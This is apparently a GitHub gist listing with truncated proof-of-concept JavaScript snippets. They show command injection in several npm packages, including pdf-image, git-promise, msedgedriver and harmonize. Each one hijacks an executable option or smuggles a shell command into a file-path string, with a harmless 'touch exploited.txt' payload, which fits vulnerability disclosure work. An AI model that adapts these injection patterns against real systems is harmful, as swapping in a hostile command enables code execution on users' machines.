This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('protractor-video-reporter'); | |
console.log(pkg); | |
const options = { | |
ffmpegCmd: 'touch', | |
ffmpegArgs: ['exploited.txt'] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('postinstall-build'); | |
process.argv.push('touch'); | |
process.argv.push('touch exploited.txt'); | |
/* | |
* This will lead to exec(cmd) with cmd = 'touch exploited.txt' on | |
* line #326 of src/index.js. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('pdf-merge'); | |
const args = ['exploited.txt', '']; | |
const options = { | |
libPath: 'touch' | |
}; | |
/* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('pdf-image'); | |
console.log(pkg); | |
const pdfFilePath = '" | touch exploited.txt "'; | |
const options = { | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('msedgedriver'); | |
pkg.path = '/usr/bin/touch'; | |
const args = ['exploited.txt']; | |
const returnPromise = false; | |
// This will create a local 'exploited.txt' file. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const fs = require('node:fs'); | |
const path = require('node:path'); | |
/* | |
* Create a local 'custom.js' file so that the program flow can | |
* continue within the call below. | |
*/ | |
const filename = path.join(process.cwd(), 'custom.js'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('karma-cljs-test'); | |
const init = pkg['framework:cljs-test'][1]; | |
const files = []; | |
init(files); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('harmonize'); | |
process.argv[0] = 'touch'; | |
process.argv.push('exploited.txt'); | |
const flags = []; | |
/* This will create a local 'exploited.txt'. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('git-rev'); | |
const cb = function(error_msg) { | |
const fs = require('node:fs'); | |
let fd = fs.openSync('exploited.txt', 'a'); | |
fs.closeSync(fd); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('git-promise'); | |
const commandOrArgs = 'exploited.txt'; | |
const optionsOrCallback = { | |
gitExec: 'touch' | |
}; | |
const callbackMaybe = function() {}; |
NewerOlder